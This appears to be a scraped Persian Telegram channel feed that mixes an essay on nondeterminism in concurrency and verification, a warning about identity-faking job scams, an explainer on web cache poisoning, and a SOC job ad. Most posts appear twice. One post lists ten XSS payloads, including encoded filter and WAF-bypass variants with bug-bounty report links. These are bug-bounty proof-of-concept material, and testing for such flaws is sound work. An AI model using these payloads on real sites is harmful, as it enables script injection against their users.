"Non-determinism، Nondeterminism، Non Determinism، or Nondet"
بخش اول
—————————————————————
میتونم بگم دو به شکام که جذابترین کانسپتی که در تمام مباحث TCS تا به حال باهاش مواجه بودم، Fairness هستش یا Non-determinism. یکی از نقطه اشتراکات هر دو مبحث برام اینه که از نظر فسلفی آیا حقیقت وجودی دارند و یا صرفا برای پر کردن خلاای در علم توسط بشر ابداع شدند که را حل منطقی و درستی براش وجود نداشته. یه نکته جالب دیگهای که میتونم در موردش بگم اینه که از نظر من Fairness و Non-determinism به شکل Natural در مسائل وجود ندارند ولی از یک جایی که انگار فرای اختیارات ماست به مسائل Enforce میشن. این نوشته قصد داره که به مفهوم دوم بپردازه منتهی قبلش جا داره این هشدار رو بدم که Non-determinism گاهی اوقات از نظر شهودی یک پدیدهی Stochastic تفسیر میشه که خیلی درست نیست برای همین سعی میکنم از ادبیات درستی استفاده کنم در ادامه.
خودم به شخصه اولین جایی که در دوران تحصیل چه به شکل فرمال و چه غیر فرمال با مفهومی به نام Non-determinism مواجه شدم توی درس آتوماتا تئوری بود. مدلهای محاسباتیای که مبتنی بر مفهوم state و transition هستند و براساس همین state و transition هم مفهوم عدم قطعیت به شکل فرمال تعریف میشه. اولین شوک و نکتهی جالبی که باهاش مواجه شدم اینه که مدلهایی که non-determinism دارن، همیشه براشون یک مدل محاسباتی Deterministic وجود نداره و برخی مواقع افزودن Non-determinism به مدل محاسباتی منجر به افزایش Expressiveness این مدل میشه. مثل Büchi Automata.
دومین جایی که با این کانسپت به طور جدی مواجه شدم توی فرمال متد بود. زبانها و مدلهای صوری که برای جنبههای مختلف یک محاسبه ایجاب میشدن هم Non-determinism داشتن. به طور مثال زبان Guarded Command Language آقای دایکسترا که به نظرم پایهگزار زبانهای برنامهنویسی Imperative بود non-determinism داشت. به طوری که مثلا شما میتونید برنامهای بنویسید بدین صورت :
if
[] a > 0 ——> b = false
[] a > 3 ——> b = true
fi
طبق semantics این زبان شما در این دستور if اگر مقدار a از 3 بزرگتر باشه، Guard هر دو command ارضا میشه و یکی از دو دستور به شکل غیرقطعی اجرا میشه.
سومین جایی که این کانسپت رو دیدم توی Concurrency Theory بود. زمانی که ما چند instance از یک مدل محاسباتی یا برنامههایی از یک زبان فرمال داریم مثل P1,P2, ...., Pn که با استفاده از اپراتور parallel composition یک برنامهی جدید رو میسازن :
p1p2 p3... pn
و طبق سمنتیکس این اپراتور، دستورات اتومیک هر Pi با رعایت program order خودش میتونه با هر ترتیب ممکنی با دستورات اتومیک باقی Pj ها interleave بشه. مثلا اگر شما دو تا برنامه داشته باشی مثل :
p1 : R(x) W(x)
p2 : R(y) W(y)
اون وقت برنامهی P1 P2 میتونه در هر اجرا یک trace اجرایی متفاوتی داشته باشه مثل :
R(x) W(x) R(y) W(y)
R(x) R(y) W(x) W(y)
R(x) R(y) W(y) W(x)
R(y) W(y) R(x) W(x)
R(y) R(x) W(y) W(x)
R(y) R(x) W(x) W(y)
اصطلاحا به این ویژگی میگن Scheduling non-determinism که بزرگترین معضلای هست که در verify کردن برنامههای parallel و distributed باهاش دست و پنجه نرم میکنیم.
چهارمین جایی که با این مفهوم مواجه شدم در Verification بود. زمانی که داشتم JMC رو میساختم به این مسئله برخورد کردیم که همیشه در برنامههای concurrent تنها منبع عدم قطعیت Scheduling nondeterminism نیست. به برنامهی زیر توجه کنید :
void foo (int x) {
if( x % 3 == 2) {
// Bug
} else {
print("All is good!");
}
}
در این برنامه یک عدم قطعیتی وجود داره که ما اسمش رو گذاشتیم Data nondeterminism و شد موضوع مقالهای که چند روز پیش سابمیت کردیم. در این برنامه با توجه به مقدار آرگومان x، رفتار برنامه تغییر میکنه. ما اومدم چهار لول data nondeterminism تعریف کریم و براش یک سمنتیکس dpor-based ارائه دادیم. ما نشون دادیم که data non-determinism یک مفهوم orthogonal با scheduling non-determinism نیست و یک الگوریتم مدل چکینگ ارائه دادیم برای برنامههایی مالتی تردی که data non-determinism دارند، مثل concurrent data structures ها، که sound و complete و optimal هستش. علاوه بر اینا و شاید مهم تر از اینا، ما یک Reduction از Scheduling nondeterminism به Data nondeterminism ارائه کردیم که باعث کاهش چشمگیر فضای حالت برنامه میشه. حالا جزئیاتش باشه ایشالا اگر چاپ شد توی کانال بهش میپردازم.
اما ما اولین نفرهایی نبودیم که اومدم کانسپت non-determinism رو سطح بندی کردیم. در ادامه میخوام به چندتا مقاله که به شدت خوب و روون نوشته شدن رو بهتون معرفی کنم که بحث اصلیشون کلاسهبندی Nondeterminism هستش.
بخش اول
—————————————————————
میتونم بگم دو به شکام که جذابترین کانسپتی که در تمام مباحث TCS تا به حال باهاش مواجه بودم، Fairness هستش یا Non-determinism. یکی از نقطه اشتراکات هر دو مبحث برام اینه که از نظر فسلفی آیا حقیقت وجودی دارند و یا صرفا برای پر کردن خلاای در علم توسط بشر ابداع شدند که را حل منطقی و درستی براش وجود نداشته. یه نکته جالب دیگهای که میتونم در موردش بگم اینه که از نظر من Fairness و Non-determinism به شکل Natural در مسائل وجود ندارند ولی از یک جایی که انگار فرای اختیارات ماست به مسائل Enforce میشن. این نوشته قصد داره که به مفهوم دوم بپردازه منتهی قبلش جا داره این هشدار رو بدم که Non-determinism گاهی اوقات از نظر شهودی یک پدیدهی Stochastic تفسیر میشه که خیلی درست نیست برای همین سعی میکنم از ادبیات درستی استفاده کنم در ادامه.
خودم به شخصه اولین جایی که در دوران تحصیل چه به شکل فرمال و چه غیر فرمال با مفهومی به نام Non-determinism مواجه شدم توی درس آتوماتا تئوری بود. مدلهای محاسباتیای که مبتنی بر مفهوم state و transition هستند و براساس همین state و transition هم مفهوم عدم قطعیت به شکل فرمال تعریف میشه. اولین شوک و نکتهی جالبی که باهاش مواجه شدم اینه که مدلهایی که non-determinism دارن، همیشه براشون یک مدل محاسباتی Deterministic وجود نداره و برخی مواقع افزودن Non-determinism به مدل محاسباتی منجر به افزایش Expressiveness این مدل میشه. مثل Büchi Automata.
دومین جایی که با این کانسپت به طور جدی مواجه شدم توی فرمال متد بود. زبانها و مدلهای صوری که برای جنبههای مختلف یک محاسبه ایجاب میشدن هم Non-determinism داشتن. به طور مثال زبان Guarded Command Language آقای دایکسترا که به نظرم پایهگزار زبانهای برنامهنویسی Imperative بود non-determinism داشت. به طوری که مثلا شما میتونید برنامهای بنویسید بدین صورت :
if
[] a > 0 ——> b = false
[] a > 3 ——> b = true
fi
طبق semantics این زبان شما در این دستور if اگر مقدار a از 3 بزرگتر باشه، Guard هر دو command ارضا میشه و یکی از دو دستور به شکل غیرقطعی اجرا میشه.
سومین جایی که این کانسپت رو دیدم توی Concurrency Theory بود. زمانی که ما چند instance از یک مدل محاسباتی یا برنامههایی از یک زبان فرمال داریم مثل P1,P2, ...., Pn که با استفاده از اپراتور parallel composition یک برنامهی جدید رو میسازن :
p1
و طبق سمنتیکس این اپراتور، دستورات اتومیک هر Pi با رعایت program order خودش میتونه با هر ترتیب ممکنی با دستورات اتومیک باقی Pj ها interleave بشه. مثلا اگر شما دو تا برنامه داشته باشی مثل :
p1 : R(x) W(x)
p2 : R(y) W(y)
اون وقت برنامهی P1 P2 میتونه در هر اجرا یک trace اجرایی متفاوتی داشته باشه مثل :
R(x) W(x) R(y) W(y)
R(x) R(y) W(x) W(y)
R(x) R(y) W(y) W(x)
R(y) W(y) R(x) W(x)
R(y) R(x) W(y) W(x)
R(y) R(x) W(x) W(y)
اصطلاحا به این ویژگی میگن Scheduling non-determinism که بزرگترین معضلای هست که در verify کردن برنامههای parallel و distributed باهاش دست و پنجه نرم میکنیم.
چهارمین جایی که با این مفهوم مواجه شدم در Verification بود. زمانی که داشتم JMC رو میساختم به این مسئله برخورد کردیم که همیشه در برنامههای concurrent تنها منبع عدم قطعیت Scheduling nondeterminism نیست. به برنامهی زیر توجه کنید :
void foo (int x) {
if( x % 3 == 2) {
// Bug
} else {
print("All is good!");
}
}
در این برنامه یک عدم قطعیتی وجود داره که ما اسمش رو گذاشتیم Data nondeterminism و شد موضوع مقالهای که چند روز پیش سابمیت کردیم. در این برنامه با توجه به مقدار آرگومان x، رفتار برنامه تغییر میکنه. ما اومدم چهار لول data nondeterminism تعریف کریم و براش یک سمنتیکس dpor-based ارائه دادیم. ما نشون دادیم که data non-determinism یک مفهوم orthogonal با scheduling non-determinism نیست و یک الگوریتم مدل چکینگ ارائه دادیم برای برنامههایی مالتی تردی که data non-determinism دارند، مثل concurrent data structures ها، که sound و complete و optimal هستش. علاوه بر اینا و شاید مهم تر از اینا، ما یک Reduction از Scheduling nondeterminism به Data nondeterminism ارائه کردیم که باعث کاهش چشمگیر فضای حالت برنامه میشه. حالا جزئیاتش باشه ایشالا اگر چاپ شد توی کانال بهش میپردازم.
اما ما اولین نفرهایی نبودیم که اومدم کانسپت non-determinism رو سطح بندی کردیم. در ادامه میخوام به چندتا مقاله که به شدت خوب و روون نوشته شدن رو بهتون معرفی کنم که بحث اصلیشون کلاسهبندی Nondeterminism هستش.
راه جلوگیری از Brute Force به روش ساقی پارک :
اگه پسورد درست هم بود برای بار اول بگین اشتباهه، خود واقعیش باشه دوباره میزنه.
اگه پسورد درست هم بود برای بار اول بگین اشتباهه، خود واقعیش باشه دوباره میزنه.
یکی از علت هایی که پروژه هامون شکست میخوره و اصلا اجرایی نمیشه اینه که بلد نیستم اونو به قسمت های کوچیک تر تقسیم کنیم، کسی که بتونه یه پروژه رو به قسمت های کوچیک بشکنه یعنی ناخودآگاه تسلط کافی روی چیزی که میخواد بسازه داره، تفاوت یه فرد حرفه ای با یه فرد تازه کار همینه دقیقا، فرد حرفه ای میتونه اونو به قسمت های کوچیک بشکنه، اما تازه کار نه... جالب اینجاست اون قسمت های کوچیک رو هم فرد حرفه ای میتونه انجام بده هم تازه کار ولی تازه کار اصلا به این مرحله نمیرسه.
Forwarded from AAISS 2025
@aaiss_aut
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from 👾 Geek Engineers ([ Taha. Dostifam ])
⚠️ وقت همگی بخیر. مطلب مهمی رو باید باهاتون به اشتراک بزارم! ‼️
احتمالا شما هم با شرکت های خارجی مواجه میشوید که به شما میگن تحت عنوان هویت یک سیتیزن آمریکا قراره کار بکنید و درامد های ۳ الی ۴ هزار دلاری بهتون میدن. و علاقه زیادی هم به بستن قرار داد دارند.
اما کمتر کسی میدونه که این چقد جرم بزرگیه. و این تنها محدود به ایران نمیشه و اگر بخواید مهاجرت بکنید هم با مشکل جدی مواجه میشید. چرا که جعل هویت حتی با رضایت هر جای دنیا هم که برید یه جرم محسوب میشود. پس این قضیه کلا کنسله...
اگر کسی آینده نگر باشه و به امنیت خودش اهمیت بده سراغ این شرکت ها نمیره. چون ۹۹ درصد فیک هستن و اعتمادی بهشون نیست.
من طی این ۳ ماه امروز دومین شرکتی بود که با این شرایط باهاشون مواجه شدم... خیلی داستان جالبی است :)
شرکت اولی که باهاشون مصاحبه کردم ادعا داشت یه شرکت آمریکایی هست. مصاحبه تکنیکال رو قبول شدم. سر salary هم توافق کردیم. انگلیسی م اوکی بود. همه چی رو به خوبی پیش بردیم. تا اینکه رسیدیم به مرحله قرار داد و نوشتن رزومه! من سوال کردم ازشون که اگر چطور من رو جای به سنیور ۳۰ ساله با بیش از ۱۰ ها سال تجربه جا میزنید؟ من تنها ۱۷ سالمه و نرماله که چهره م سنمو به دقت نشون بده :)
با کمال تعجب گفتن هیچ مشکلی نیست... ما خودمون اوکی میکنیم.
بعدش گفتم مشکلی نیست. صدامو چیکار میکنید؟ گفتن اونم حل میکنیم نیازی به نگرانی نیست...
بعدش گفتم خب... با سرچ کردن چهره من تو گوگل به همه اطلاعات من تو اینترنت دسترسی دارند و خیلی سریع متوجه میشن که من ایرانی هستم!
همچنین لهجه و عدم اسپیکینگ slang و native هم به خوبی این رو نشون میده!
جالبه که بدونید بعدش چه اتفاقی افتاد :)
من که همینطور اینها رو باهاشون در میون میزاشتم اون ها هم به تاکید میگفتند هیچ مشکلی نیست و شما الکی نگرانید.
اما قضیه همینطوری تموم نشد. من با وکیل قانونی صحبت کردم و اطلاعات تخصصی ای رو باهاشون در میان گذاشتم. همچنین consequence هایی که برای من به ارمغان خواهد آورد.
خیلی عجیب و شگفت انگیز شروع به تحقیر و فرار کردن از پاسخگویی کردند. جالب بود برای من که چطور این ها از اسم lawyer اینقد ترس دارند...
به من گفتند با رییس شرکت جلسه ای برگذار میکنیم که کلا قضیه رو برات از نو clarify بکنیم.
رییس شرکت خودش توی تلگرام به من DM فرستاد (اشتباه اول).
خودش پیگیر موضوع شد.(اشتباه دوم).
پروفایلش رو توی گوگل سرچ کردم و به یه مقاله روانشناختی رسیدم که بنرش این اقا بود. هیچ اطلاعاتی راجب شخصی که ادعا داشت رییس اون شرکت هست پیدا نکردم. اسمش فیک بود. (اشتباه سوم).
من حدس میزنم همون شخص دوتا اکانت داشت چون بعد از پرزنت کردن این اطلاعات دیگر به پاسخگویی ادامه نداد. انگار نه انگار که همان آدم سابق باشد.
و تمام.
این هم اضافه میکنم که یک CTO ایرانی داشتند. ادعای سنیوری میکرد :) گیت هاب فیک داشت همچنین. از کامیت ها و محتوای ریپوزیتوری ها به خوبی میشد این رو متوجه شد.
همچنین از اسپیکینگ انگلیسی خوبی برخوردار نبود.
به من میگفتند انگلیسی صحبت کن. ولی این شخص که ایرانی بود ۷۰ درصد اوقات فارسی حرف میزد و معلوم بود که اسپیکینگ خوبی ندارد.
همه این اطلاعات رو ثبت و ضبط کردم. حتی interview هایی که رفتیم رو. اگر خواستید میتونم باهاتون به اشتراک بگزارم. که مبادا گیر این ادم ها بیوفتید... که تموم شدنش دست خداست :]
پ.ن : زیر همین پست اطلاعات حقوقی هم شیر میکنم باهاتون.
با تشکر.
طاها.
احتمالا شما هم با شرکت های خارجی مواجه میشوید که به شما میگن تحت عنوان هویت یک سیتیزن آمریکا قراره کار بکنید و درامد های ۳ الی ۴ هزار دلاری بهتون میدن. و علاقه زیادی هم به بستن قرار داد دارند.
اما کمتر کسی میدونه که این چقد جرم بزرگیه. و این تنها محدود به ایران نمیشه و اگر بخواید مهاجرت بکنید هم با مشکل جدی مواجه میشید. چرا که جعل هویت حتی با رضایت هر جای دنیا هم که برید یه جرم محسوب میشود. پس این قضیه کلا کنسله...
اگر کسی آینده نگر باشه و به امنیت خودش اهمیت بده سراغ این شرکت ها نمیره. چون ۹۹ درصد فیک هستن و اعتمادی بهشون نیست.
من طی این ۳ ماه امروز دومین شرکتی بود که با این شرایط باهاشون مواجه شدم... خیلی داستان جالبی است :)
شرکت اولی که باهاشون مصاحبه کردم ادعا داشت یه شرکت آمریکایی هست. مصاحبه تکنیکال رو قبول شدم. سر salary هم توافق کردیم. انگلیسی م اوکی بود. همه چی رو به خوبی پیش بردیم. تا اینکه رسیدیم به مرحله قرار داد و نوشتن رزومه! من سوال کردم ازشون که اگر چطور من رو جای به سنیور ۳۰ ساله با بیش از ۱۰ ها سال تجربه جا میزنید؟ من تنها ۱۷ سالمه و نرماله که چهره م سنمو به دقت نشون بده :)
با کمال تعجب گفتن هیچ مشکلی نیست... ما خودمون اوکی میکنیم.
بعدش گفتم مشکلی نیست. صدامو چیکار میکنید؟ گفتن اونم حل میکنیم نیازی به نگرانی نیست...
بعدش گفتم خب... با سرچ کردن چهره من تو گوگل به همه اطلاعات من تو اینترنت دسترسی دارند و خیلی سریع متوجه میشن که من ایرانی هستم!
همچنین لهجه و عدم اسپیکینگ slang و native هم به خوبی این رو نشون میده!
جالبه که بدونید بعدش چه اتفاقی افتاد :)
من که همینطور اینها رو باهاشون در میون میزاشتم اون ها هم به تاکید میگفتند هیچ مشکلی نیست و شما الکی نگرانید.
اما قضیه همینطوری تموم نشد. من با وکیل قانونی صحبت کردم و اطلاعات تخصصی ای رو باهاشون در میان گذاشتم. همچنین consequence هایی که برای من به ارمغان خواهد آورد.
خیلی عجیب و شگفت انگیز شروع به تحقیر و فرار کردن از پاسخگویی کردند. جالب بود برای من که چطور این ها از اسم lawyer اینقد ترس دارند...
به من گفتند با رییس شرکت جلسه ای برگذار میکنیم که کلا قضیه رو برات از نو clarify بکنیم.
رییس شرکت خودش توی تلگرام به من DM فرستاد (اشتباه اول).
خودش پیگیر موضوع شد.(اشتباه دوم).
پروفایلش رو توی گوگل سرچ کردم و به یه مقاله روانشناختی رسیدم که بنرش این اقا بود. هیچ اطلاعاتی راجب شخصی که ادعا داشت رییس اون شرکت هست پیدا نکردم. اسمش فیک بود. (اشتباه سوم).
من حدس میزنم همون شخص دوتا اکانت داشت چون بعد از پرزنت کردن این اطلاعات دیگر به پاسخگویی ادامه نداد. انگار نه انگار که همان آدم سابق باشد.
و تمام.
این هم اضافه میکنم که یک CTO ایرانی داشتند. ادعای سنیوری میکرد :) گیت هاب فیک داشت همچنین. از کامیت ها و محتوای ریپوزیتوری ها به خوبی میشد این رو متوجه شد.
همچنین از اسپیکینگ انگلیسی خوبی برخوردار نبود.
به من میگفتند انگلیسی صحبت کن. ولی این شخص که ایرانی بود ۷۰ درصد اوقات فارسی حرف میزد و معلوم بود که اسپیکینگ خوبی ندارد.
همه این اطلاعات رو ثبت و ضبط کردم. حتی interview هایی که رفتیم رو. اگر خواستید میتونم باهاتون به اشتراک بگزارم. که مبادا گیر این ادم ها بیوفتید... که تموم شدنش دست خداست :]
پ.ن : زیر همین پست اطلاعات حقوقی هم شیر میکنم باهاتون.
با تشکر.
طاها.
کش پویزنینگ (Cache Poisoning):
کش پویزنینگ یک نوع حمله به سرورهای وب است که هدف آن تغییر و آلوده کردن محتوای کش (cache) است. در این حمله، یک مهاجم دادههای مخرب را در کش وب سرور قرار میدهد. سپس، زمانی که کاربران به منابع کششده دسترسی پیدا میکنند، دادههای آلوده و مخرب به آنها ارسال میشود. به این ترتیب، کاربران بدون اطلاع از تغییرات، محتوای نادرست یا کدهای مخرب را دریافت میکنند.
این حمله میتواند از طریق unkeyed پارامترها صورت بگیرد. این پارامترها ورودیهایی هستند که در سیستم کش نادیده گرفته میشوند و محتوای مشابهی برای کاربران مختلف تولید میشود. مهاجم با استفاده از این نوع پارامترها میتواند محتوای کششده را دستکاری کند و دادههای مخربی را به کاربران دیگر ارائه دهد.
آنکید (Unkeyed) پارامترها:
پارامترهای "unkeyed" به پارامترهایی اشاره دارند که در فرآیند کش (cache) وب سرور نقشی ندارند و کش به آنها توجه نمیکند. به عنوان مثال، پارامترهایی که در URL یک درخواست وب اضافه میشوند، ولی توسط سیستم کش بهعنوان بخشی از کلید کش (cache key) در نظر گرفته نمیشوند. این باعث میشود که تمامی درخواستها (حتی اگر شامل پارامترهای متفاوتی باشند) به یک منبع کششده ارجاع داده شوند.
مهاجمان میتوانند از این ضعف برای ارسال درخواستهای حاوی پارامترهای مخرب استفاده کنند و باعث شوند که محتوای آلوده به کش ارسال شود و سپس به کاربران بیاطلاع توزیع شود.
هدرهای Unkeyed:
در این نوع حمله، مهاجم تلاش میکند یک هدر Unkeyed پیدا کند که رفلکت شود. هدرهایی که در درخواستهای HTTP به سرور ارسال میشوند، میتوانند در پاسخهای سرور بهطور ناخواسته منعکس (رفلکت) شوند. اگر هدرهای خاصی در محتوای پاسخ یا کلید کش لحاظ نشوند، میتوانند بهعنوان برداری برای حملات رفلکتیو (reflected attacks) مورد سوءاستفاده قرار گیرند.
در این سناریو، مهاجم تلاش میکند تا یک هدر پیدا کند که سرور بدون اینکه آن را رمزنگاری کند یا به عنوان بخشی از کلید کش لحاظ کند، در پاسخ بازگرداند. با این کار، میتوان هدرهای مخرب را بهصورت رفلکتشده به کاربران دیگر ارسال کرد و آسیبپذیریهایی همچون XSS یا Cache Poisoning را اجرا کرد.
اکستنشن Param Miner:
ابزار Param Miner یکی از ابزارهای تست امنیتی در زمینه پیدا کردن پارامترهای آسیبپذیر است. این ابزار بهطور خودکار پارامترهایی را که توسط سیستم کش نادیده گرفته میشوند، کشف میکند. این پارامترها میتوانند در حملات مختلف، از جمله حملات cache poisoning، استفاده شوند. این ابزار بهویژه در سناریوهایی که مهاجمان به دنبال پارامترهای unkeyed هستند، مفید است.
این اکستنشن میتواند درخواستهای مختلفی با پارامترهای تصادفی به سرور ارسال کند و بررسی کند که آیا این پارامترها در فرآیند کش نادیده گرفته میشوند یا خیر. در این صورت، از آنها میتوان برای حملات Cache Poisoning استفاده کرد.
رفلکشن کوکیها (Cookie Reflection):
رفلکشن کوکیها یک آسیبپذیری مهم در امنیت وب است. در این نوع حمله، کوکیهای کاربر توسط سرور بدون تغییر یا اعتبارسنجی مجدد در پاسخ HTTP بازگردانده میشوند. این نوع رفتار میتواند برای اجرای حملات XSS یا Cache Poisoning مورد استفاده قرار گیرد.
بهعنوان مثال، اگر مهاجم بتواند کوکیهای کاربر را بهصورت رفلکتشده در پاسخ سرور قرار دهد و این اطلاعات در کش ذخیره شود، کاربران دیگر نیز میتوانند محتوای آلوده را دریافت کنند. رفلکشن کوکیها اغلب با استفاده از هدرهای HTTP یا پارامترهای URL همراه میشود و میتواند باعث افشای دادههای حساس کاربران یا اجرا شدن کدهای مخرب در مرورگرهای آنها شود.
کش پویزنینگ یک نوع حمله به سرورهای وب است که هدف آن تغییر و آلوده کردن محتوای کش (cache) است. در این حمله، یک مهاجم دادههای مخرب را در کش وب سرور قرار میدهد. سپس، زمانی که کاربران به منابع کششده دسترسی پیدا میکنند، دادههای آلوده و مخرب به آنها ارسال میشود. به این ترتیب، کاربران بدون اطلاع از تغییرات، محتوای نادرست یا کدهای مخرب را دریافت میکنند.
این حمله میتواند از طریق unkeyed پارامترها صورت بگیرد. این پارامترها ورودیهایی هستند که در سیستم کش نادیده گرفته میشوند و محتوای مشابهی برای کاربران مختلف تولید میشود. مهاجم با استفاده از این نوع پارامترها میتواند محتوای کششده را دستکاری کند و دادههای مخربی را به کاربران دیگر ارائه دهد.
آنکید (Unkeyed) پارامترها:
پارامترهای "unkeyed" به پارامترهایی اشاره دارند که در فرآیند کش (cache) وب سرور نقشی ندارند و کش به آنها توجه نمیکند. به عنوان مثال، پارامترهایی که در URL یک درخواست وب اضافه میشوند، ولی توسط سیستم کش بهعنوان بخشی از کلید کش (cache key) در نظر گرفته نمیشوند. این باعث میشود که تمامی درخواستها (حتی اگر شامل پارامترهای متفاوتی باشند) به یک منبع کششده ارجاع داده شوند.
مهاجمان میتوانند از این ضعف برای ارسال درخواستهای حاوی پارامترهای مخرب استفاده کنند و باعث شوند که محتوای آلوده به کش ارسال شود و سپس به کاربران بیاطلاع توزیع شود.
هدرهای Unkeyed:
در این نوع حمله، مهاجم تلاش میکند یک هدر Unkeyed پیدا کند که رفلکت شود. هدرهایی که در درخواستهای HTTP به سرور ارسال میشوند، میتوانند در پاسخهای سرور بهطور ناخواسته منعکس (رفلکت) شوند. اگر هدرهای خاصی در محتوای پاسخ یا کلید کش لحاظ نشوند، میتوانند بهعنوان برداری برای حملات رفلکتیو (reflected attacks) مورد سوءاستفاده قرار گیرند.
در این سناریو، مهاجم تلاش میکند تا یک هدر پیدا کند که سرور بدون اینکه آن را رمزنگاری کند یا به عنوان بخشی از کلید کش لحاظ کند، در پاسخ بازگرداند. با این کار، میتوان هدرهای مخرب را بهصورت رفلکتشده به کاربران دیگر ارسال کرد و آسیبپذیریهایی همچون XSS یا Cache Poisoning را اجرا کرد.
اکستنشن Param Miner:
ابزار Param Miner یکی از ابزارهای تست امنیتی در زمینه پیدا کردن پارامترهای آسیبپذیر است. این ابزار بهطور خودکار پارامترهایی را که توسط سیستم کش نادیده گرفته میشوند، کشف میکند. این پارامترها میتوانند در حملات مختلف، از جمله حملات cache poisoning، استفاده شوند. این ابزار بهویژه در سناریوهایی که مهاجمان به دنبال پارامترهای unkeyed هستند، مفید است.
این اکستنشن میتواند درخواستهای مختلفی با پارامترهای تصادفی به سرور ارسال کند و بررسی کند که آیا این پارامترها در فرآیند کش نادیده گرفته میشوند یا خیر. در این صورت، از آنها میتوان برای حملات Cache Poisoning استفاده کرد.
رفلکشن کوکیها (Cookie Reflection):
رفلکشن کوکیها یک آسیبپذیری مهم در امنیت وب است. در این نوع حمله، کوکیهای کاربر توسط سرور بدون تغییر یا اعتبارسنجی مجدد در پاسخ HTTP بازگردانده میشوند. این نوع رفتار میتواند برای اجرای حملات XSS یا Cache Poisoning مورد استفاده قرار گیرد.
بهعنوان مثال، اگر مهاجم بتواند کوکیهای کاربر را بهصورت رفلکتشده در پاسخ سرور قرار دهد و این اطلاعات در کش ذخیره شود، کاربران دیگر نیز میتوانند محتوای آلوده را دریافت کنند. رفلکشن کوکیها اغلب با استفاده از هدرهای HTTP یا پارامترهای URL همراه میشود و میتواند باعث افشای دادههای حساس کاربران یا اجرا شدن کدهای مخرب در مرورگرهای آنها شود.
👍3
10 پیلود XSS که ممکنه به کار بیاد:
1=> ?msg=%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E, <svg/onload=alert("XSS") >
hackerone.com/reports/2433634
2=> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
hackerone.com/reports/846338
The payload finished open function calls from jQuery, executes an alert as POC and then finished the original script tag
3=> <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
WAF / Cloudflare Bypass
4=> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/> remove the underscores
hackerone.com/reports/484434
filtering using HTML entities for the alternation of <>, because I noticed that it's filtering the
5=> <a href=[ ]" onmouseover=prompt(1)//">XYZ</a>
6=> <script /*/>/*/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/*/</script /*/
7=> <blink/ onmouseover=prompt(1)>OnMouseOver
Firefox & Opera
8=> <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
9=> <script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";a.click();</script>
10=> jaVasCript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>"'alert(1)
1=> ?msg=%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E, <svg/onload=alert("XSS") >
hackerone.com/reports/2433634
2=> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
hackerone.com/reports/846338
The payload finished open function calls from jQuery, executes an alert as POC and then finished the original script tag
3=> <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
WAF / Cloudflare Bypass
4=> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/> remove the underscores
hackerone.com/reports/484434
filtering using HTML entities for the alternation of <>, because I noticed that it's filtering the
5=> <a href=[ ]" onmouseover=prompt(1)//">XYZ</a>
6=> <script /*/>/*/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/*/</script /*/
7=> <blink/ onmouseover=prompt(1)>OnMouseOver
Firefox & Opera
8=> <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
9=> <script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";a.click();</script>
10=> jaVasCript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>"'alert(1)
HackerOne
GoCD disclosed on HackerOne: XSS in GOCD Analytics Plugin
The `gocd/gocd-analytics-plugin` in `info-message.js` at line 28 contains a Cross-Site Scripting (XSS) vulnerability, which can be exploited via the `?msg=` parameter. Attackers can inject...
Forwarded from Network_Experts
#استخدام
عنوان شغلی: کارشناس مرکز عملیات امنیت (SOC) - سطح ۱
موقعیت: حضوری - گیشا
نوع همکاری: تماموقت
رنج حقوقی : 30 - 35
بیمه تامین اجتماعی از روز اول
بیمه درمان تکمیلی از روز اول
مزایای قانونی
بسته هدایا شرکتی
پاداش و کارانه
پزشک سازمانی
درباره موقعیت شغلی
ما به دنبال یک کارشناس SOC سطح ۱ برای پیوستن به تیم مرکز عملیات امنیت (SOC) هستیم تا در پایش و تحلیل تهدیدات امنیتی نقش کلیدی ایفا کند. اگر به امنیت سایبری علاقهمند هستید، اشتیاق یادگیری دارید و از حل چالشهای امنیتی لذت میبرید، این فرصت مناسب شماست!
مسئولیتهای اصلی
پایش داشبوردها و هشدارهای SIEM (مانند ELK، Splunk) و تحلیل آنها
تحلیل لاگهای امنیتی، ردیابی حملات و گزارش تهدیدات
انجام تریاژ اولیه هشدارها برای تشخیص مثبتهای واقعی از مثبتهای کاذب
بررسی رویدادهای امنیتی شبکه و سیستمها و ارجاع به سطوح بالاتر در صورت نیاز
همکاری در شناسایی تهدیدات، واکنش به حوادث امنیتی و تحلیل فارنزیک
پیکربندی و بهینهسازی ابزارهای پایش امنیتی
طراحی و بهروزرسانی داشبوردهای امنیتی، گزارشها و مستندات
ارتباط با کاربران در زمینه امنیت اطلاعات و تعامل با تیم service desk
#### مهارتها و شرایط مورد نیاز ####
۱ تا ۳ سال تجربه کاری در موقعیت مشابه
تجربه کار با ابزارهای SIEM (مانند Splunk، ELK، QRadar)
آشنایی با مفاهیم امنیت شبکه از جمله فایروالها، IDS/IPS، WAF و UTM
درک مناسب از لاگهای امنیتی ویندوز و لینوکس و روشهای شناسایی حملات
آشنایی با چارچوب MITRE ATT&CK و نحوه مدیریت رویدادهای امنیتی
آشنایی با ابزارهای تحلیل بستههای شبکه مانند Wireshark
آشنایی با زبانهای اسکریپتنویسی (PowerShell، Bash یا Python) امتیاز محسوب میشود
مدارک و گواهینامههای ترجیحی
(داشتن این مدارک الزامی نیست اما یک مزیت محسوب میشود)
CEH
PWK
